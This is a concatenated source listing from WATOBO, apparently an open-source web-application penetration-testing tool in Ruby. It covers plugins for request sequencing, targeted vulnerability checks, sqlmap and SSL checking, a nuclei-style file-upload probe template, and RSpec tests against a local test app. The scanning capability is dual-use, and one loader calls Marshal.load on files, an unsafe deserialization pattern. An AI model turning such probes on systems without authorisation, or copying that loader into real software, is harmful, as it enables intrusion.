10.0; rv:68.0) Gecko/20100101 Firefox/68.0 15 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 16 | Accept-Language: en-GB,en;q=0.5 17 | Accept-Encoding: gzip, deflate 18 | Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074 19 | Content-Length: 241 20 | Origin: null 21 | Connection: close 22 | Upgrade-Insecure-Requests: 1 23 | 24 | -----------------------------77916619616724262872902741074 25 | Content-Disposition: form-data; name="upload"; filename="a.txt" 26 | Content-Type: text/plain 27 | Test 28 | -----------------------------77916619616724262872902741074-- 29 | 30 | matchers-condition: and 31 | matchers: 32 | - type: word 33 | words: 34 | - "" 35 | part: body 36 | 37 | - type: status 38 | status: 39 | - 200 40 | 41 | - type: word 42 | words: 43 | - "text/html" 44 | part: header -------------------------------------------------------------------------------- /plugins/nuclei/spec/matcher_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | headers = < FRAME_THICK | FRAME_SUNKEN | LAYOUT_FILL_X | LAYOUT_FILL_Y) 25 | @text.editable = true 26 | @text.subscribe(:text_changed) do 27 | notify(:text_changed) 28 | end 29 | end 30 | end 31 | end 32 | end 33 | end 34 | end 35 | 36 | 37 | -------------------------------------------------------------------------------- /plugins/sequencer/gui/var_frame.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Plugin 4 | class Sequencer 5 | class Gui 6 | 7 | class VarFrame < FXVerticalFrame 8 | 9 | include Watobo::Subscriber 10 | 11 | def element=(e) 12 | 13 | end 14 | 15 | def initialize(owner, opts) 16 | frame_opts = {} 17 | frame_opts[:opts] = opts 18 | super(owner, frame_opts) 19 | end 20 | end 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence.ico -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence.png -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence32x32.png -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence_32x32.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence_32x32.ico -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence_32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence_32x32.png -------------------------------------------------------------------------------- /plugins/sequencer/icons/sequence_64x64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/sequence_64x64.png -------------------------------------------------------------------------------- /plugins/sequencer/icons/test.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sequencer/icons/test.ico -------------------------------------------------------------------------------- /plugins/sequencer/lib/postman.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Plugin 3 | class Sequencer 4 | class PostmanCollection 5 | attr :collection 6 | 7 | def initialize(file) 8 | @collection = JSON.parse(File.read(file)) 9 | end 10 | 11 | def to_elements 12 | 13 | end 14 | 15 | 16 | def is_collection?(item) 17 | item['item'].class == Array 18 | end 19 | 20 | def is_request?(item) 21 | !item['request'].nil? 22 | end 23 | 24 | end 25 | 26 | 27 | class PostmanEnvironment 28 | 29 | def initialize(file) 30 | @environmant = JSON.parse(File.read(file)) 31 | end 32 | end 33 | end 34 | end 35 | 36 | end 37 | 38 | if __FILE__ == $0 39 | fcol = ARGV[0] 40 | puts "+ reading file #{fcol}" 41 | 42 | pc = Watobo::Plugin::Sequencer::PostmanCollection.new fcol 43 | 44 | end -------------------------------------------------------------------------------- /plugins/sequencer/lib/sequence.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | class Sequence < Array 3 | 4 | def self.create(filename) 5 | begin 6 | prefs = {} 7 | if File.exist?(filename) then 8 | File.open(filename, "rb") { |f| 9 | prefs = Marshal::load(f.read) 10 | prefs[:file] = filename 11 | } 12 | end 13 | rescue => bang 14 | puts bang 15 | puts bang.backtrace 16 | 17 | end 18 | 19 | seq = Sequence.new prefs 20 | # Watobo::Sequences.add seq 21 | seq 22 | end 23 | 24 | attr :name, :file, :vars 25 | 26 | def add(element) 27 | self << element 28 | end 29 | 30 | def to_h 31 | h = {} 32 | h[:name] = @name 33 | h[:file] = @file 34 | h[:elements] = [] 35 | each do |e| 36 | h[:elements] << e.to_h 37 | end 38 | h[:vars] = @vars 39 | h 40 | end 41 | 42 | def initialize(prefs) 43 | init(prefs) 44 | end 45 | 46 | private 47 | 48 | def init(prefs) 49 | @name = prefs[:name] 50 | @file = prefs[:file] 51 | if prefs.has_key? :elements 52 | prefs[:elements].each do |element| 53 | self << Watobo::Plugin::Sequencer::Element.new(self, element) 54 | # binding.pry 55 | end 56 | end 57 | 58 | if prefs.has_key? :vars 59 | # prefs[:vars].each do |var| 60 | 61 | #end 62 | end 63 | 64 | @vars = prefs[:vars] 65 | end 66 | 67 | def method_missing?(name, *args, &block) end 68 | 69 | end 70 | end -------------------------------------------------------------------------------- /plugins/sequencer/lib/sequences.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module Sequences 3 | 4 | end 5 | end -------------------------------------------------------------------------------- /plugins/sequencer/sequencer.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class Sequencer < Watobo::PluginBase 5 | plugin_name "Sequencer" 6 | description "Create and run request sequences, e.g. for complex API request chains." 7 | load_libs 8 | load_gui :main, :create_element_dlg, :elements_frame, :list_frame, :details_frame, :var_frame, :request_frame, :post_script_frame, :pre_script_frame 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /plugins/sniper/gui/select_checks.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sniper/gui/select_checks.rb -------------------------------------------------------------------------------- /plugins/sniper/lib/agent.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module Plugin 4 | class Sniper 5 | class Agent < Watobo::Session 6 | def initialize() 7 | 8 | super(@request.object_id, Watobo::Conf::Scanner.to_h ) 9 | 10 | end 11 | 12 | # do_request 13 | # input: 14 | # - request 15 | # - prefs 16 | # returns: chat 17 | def do_request(request, prefs={}) 18 | begin 19 | test_req, test_resp = self.doRequest(request, prefs) 20 | return Watobo::Chat.new(test_req, test_resp) 21 | rescue => bang 22 | puts bang 23 | puts bang.backtrace if $DEBUG 24 | end 25 | return nil 26 | end 27 | end 28 | 29 | end 30 | end 31 | end -------------------------------------------------------------------------------- /plugins/sniper/lib/stats.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sniper/lib/stats.rb -------------------------------------------------------------------------------- /plugins/sniper/sniper.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class Sniper < Watobo::PluginBase 5 | plugin_name "Sniper" 6 | description "Run specific tests on a list of targets. Good for bughunting." 7 | load_libs 8 | load_gui :main, :targets, :result_tree 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /plugins/sqlmap/gui.rb: -------------------------------------------------------------------------------- 1 | require_relative 'sqlmap' 2 | 3 | %w( main options_frame ).each do |l| 4 | require_relative File.join('gui', l ) 5 | end 6 | -------------------------------------------------------------------------------- /plugins/sqlmap/icons/sqlmap.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sqlmap/icons/sqlmap.ico -------------------------------------------------------------------------------- /plugins/sqlmap/sqlmap.rb: -------------------------------------------------------------------------------- 1 | %w( sqlmap_ctrl ).each do |l| 2 | require_relative File.join("lib", l ) 3 | end -------------------------------------------------------------------------------- /plugins/sslchecker/cli/sslchecker_cli.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sslchecker/cli/sslchecker_cli.rb -------------------------------------------------------------------------------- /plugins/sslchecker/gui/sslchecker.rb: -------------------------------------------------------------------------------- 1 | #path = File.expand_path(File.dirname(__FILE__)) 2 | 3 | require_relative File.join( "..", "lib", "check") 4 | require_relative "cipher_table" 5 | require_relative "gui" 6 | -------------------------------------------------------------------------------- /plugins/sslchecker/icons/green_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sslchecker/icons/green_16x16.ico -------------------------------------------------------------------------------- /plugins/sslchecker/icons/grey_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sslchecker/icons/grey_16x16.ico -------------------------------------------------------------------------------- /plugins/sslchecker/icons/red_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sslchecker/icons/red_16x16.ico -------------------------------------------------------------------------------- /plugins/sslchecker/icons/sslchecker.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/sslchecker/icons/sslchecker.ico -------------------------------------------------------------------------------- /plugins/wshell/icons/wsh.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/plugins/wshell/icons/wsh.ico -------------------------------------------------------------------------------- /plugins/wshell/lib/core.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class WShell 5 | @executions = Queue.new 6 | @history = [] 7 | HELP_TEXT =<<'EOF' 8 | ____ __ ____ _______. __ __ 9 | \ \ / \ / / / || | | | 10 | \ \/ \/ / | (----`| |__| | 11 | \ / \ \ | __ | 12 | \ /\ / .----) | | | | | 13 | \__/ \__/ |_______/ |__| |__| 14 | 15 | Welcome to the WATOBO Shell! 16 | Simply enter your ruby code you want to execute and press enter. 17 | 18 | For command history use Up- and Down-Keys. 19 | A good starting point to explore WATOBO is the Watobo object itself. 20 | 21 | Example 1: List all sites 22 | >> Watobo::Chats.sites.join("\n") 23 | 24 | Example 2: Get all values of URL parameter 25 | >> Watobo::Chats.each do |c| v = c.request.get_parm_value('raid'); out << "#{v}\n" unless v.empty?;end 26 | 27 | Example 3: List all URL where chat comment contains 'Session-Test' 28 | >> out << Watobo::Chats.map { |c| c.comment =~ /Session-Test/i ? c.request.url : nil }.compact.join("\n") 29 | 30 | EOF 31 | 32 | def self.help 33 | HELP_TEXT 34 | end 35 | 36 | end 37 | end 38 | end 39 | 40 | -------------------------------------------------------------------------------- /plugins/wshell/wshell.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all::Plugin 3 | module Plugin 4 | class WShell < Watobo::PluginBase 5 | plugin_name "WShell" 6 | description "With WShell you can execute ruby commands in the context of WATOBO.\nVery useful for advanced analysis of conversations or debugging purposes - or simply to explore WATOBO." 7 | load_libs 8 | load_gui :main 9 | end 10 | end 11 | end 12 | 13 | -------------------------------------------------------------------------------- /spec/app/app.rb: -------------------------------------------------------------------------------- 1 | if ENV['RACK_ENV'] == 'development' 2 | require 'sinatra/base' 3 | 4 | module Middleware 5 | def self.registered(app) 6 | app.use Rack::Session::Cookie, 7 | :key => 'WATOBO_RSPEC', 8 | :expire_after => (60 * 60 * 24 * 365), 9 | :secret => 'lasjkflkdslfjl' 10 | end 11 | end 12 | 13 | class VulnApp < Sinatra::Base 14 | register Middleware 15 | 16 | get '/' do 17 | # without session, no cookie will be set 18 | session[:foo] = :howdy 19 | "Hello WATOBO" 20 | end 21 | 22 | get '/foo' do 23 | session[:foo] || 'unknown' 24 | end 25 | end 26 | end -------------------------------------------------------------------------------- /spec/compare_response_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe Watobo::Utils do 4 | let(:str_one) { 5 | < 'Test module for rspec', # name of check which briefly describes functionality, will be used for tree and progress views 18 | :description => "does nothing", # description of checkfunction 19 | :author => "Andreas Schmidt", # author of check 20 | :check_group => 'RSPEC', 21 | :version => "1.0" # check version 22 | ) 23 | 24 | @finding.update( 25 | :threat => 'none', # thread of vulnerability, e.g. loss of information 26 | :class => "None", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... 27 | :rating => VULN_RATING_INFO, 28 | :measure => "N/A", 29 | :details => details, 30 | :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN 31 | ) 32 | 33 | 34 | def initialize(session_name = nil, prefs = {}) 35 | # @project = project 36 | super(session_name, prefs) 37 | 38 | # @tested_directories = Hash.new 39 | @fext = %w( php asp aspx jsp cfm shtm htm html shml ) 40 | 41 | end 42 | 43 | def reset() 44 | @@tested_paths.clear 45 | end 46 | 47 | 48 | def generateChecks(chat) 49 | # nothing to do here 50 | 51 | end 52 | end 53 | end 54 | end 55 | end 56 | end 57 | -------------------------------------------------------------------------------- /spec/spec_helper.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # rspec --format documentation ./spec/response_spec.rb 3 | 4 | ENV['RACK_ENV'] = ENV['RACK_ENV'] || 'development' 5 | 6 | #require 'devenv' 7 | require 'watobo' 8 | #require 'pry' 9 | require 'bundler/setup' 10 | Bundler.require(:default, :development) 11 | 12 | require_relative './app/app' 13 | 14 | RSpec.configure do |config| 15 | config.before(:suite) do 16 | if ENV['RACK_ENV'] == 'development' 17 | @app = VulnApp.new.freeze 18 | Thread.new do 19 | @server = Rack::Server.start(app: @app, Port: 6666, Host: 'localhost') 20 | end 21 | while true 22 | begin 23 | response = Net::HTTP.get_response(URI('http://localhost:6666/')) 24 | break if response.is_a?(Net::HTTPSuccess) 25 | rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH 26 | end 27 | sleep 0.1 28 | end 29 | end 30 | end 31 | 32 | config.after(:suite) do 33 | if ENV['RACK_ENV'] == 'development' 34 | @server.stop if @server 35 | end 36 | end 37 | end -------------------------------------------------------------------------------- /spec/utils/response_hash_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe Watobo::Utils do 4 | 5 | let(:request) { Watobo::Request.new 'http://www.mydomain.de/to/go.php' } 6 | 7 | let(:response_headers) { 8 | < 34 |

This is an example for a custom file not found.

35 |

01.01.1970 36 | end of text

11:20:22 37 | EOF 38 | } 39 | 40 | let(:response_base) { Watobo::Response.new(response_headers.lines.map(&:chomp)) } 41 | 42 | let(:response_one) { response_base << "\r\n" << body_one} 43 | 44 | 45 | let(:baseline_hash){ Watobo::Utils.responseHash(request, response_one)} 46 | context "response hash" do 47 | 48 | it "text with timestamps" do 49 | response_with_timestamp_de = ( response_base << "\r\n" << body_with_timestamp_de ) 50 | hash = Watobo::Utils.responseHash(request, response_with_timestamp_de ) 51 | expect(baseline_hash).to eq(hash) 52 | end 53 | 54 | it "html with timestamps" do 55 | response = ( response_base << "\r\n" << html_with_timestamp_de ) 56 | hash = Watobo::Utils.responseHash(request, response ) 57 | expect(baseline_hash).to eq(hash) 58 | end 59 | end 60 | end -------------------------------------------------------------------------------- /spec/utils/string2response_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe Watobo::Utils do 4 | context "string2response" do 5 | let(:response_text) { 6 | <= 1.15.0', '< 2.0' 25 | s.add_dependency 'mechanize', '2.7.7' 26 | s.add_dependency 'fxruby', '1.6.44' 27 | s.add_dependency 'jwt', '2.2.2' 28 | s.add_dependency 'selenium-webdriver', '>=3.0.1' 29 | 30 | files = [] 31 | 32 | excludes = [ "plugins/soaper", "plugins/scrambler", "plugins/sqlinjector", "modules/active/RoR"] 33 | 34 | %w( extras lib config certificates modules plugins icons custom-views ).each do |path| 35 | Dir.glob("#{path}/**/*").each do |f| 36 | next unless excludes.select{ |e| f =~ /#{e}/i }.empty? 37 | files << f 38 | end 39 | end 40 | 41 | %w( README.md CHANGELOG.md .yardopts).each do |fn| 42 | files << fn if File.exist?(fn) 43 | end 44 | 45 | s.files = files 46 | end 47 | --------------------------------------------------------------------------------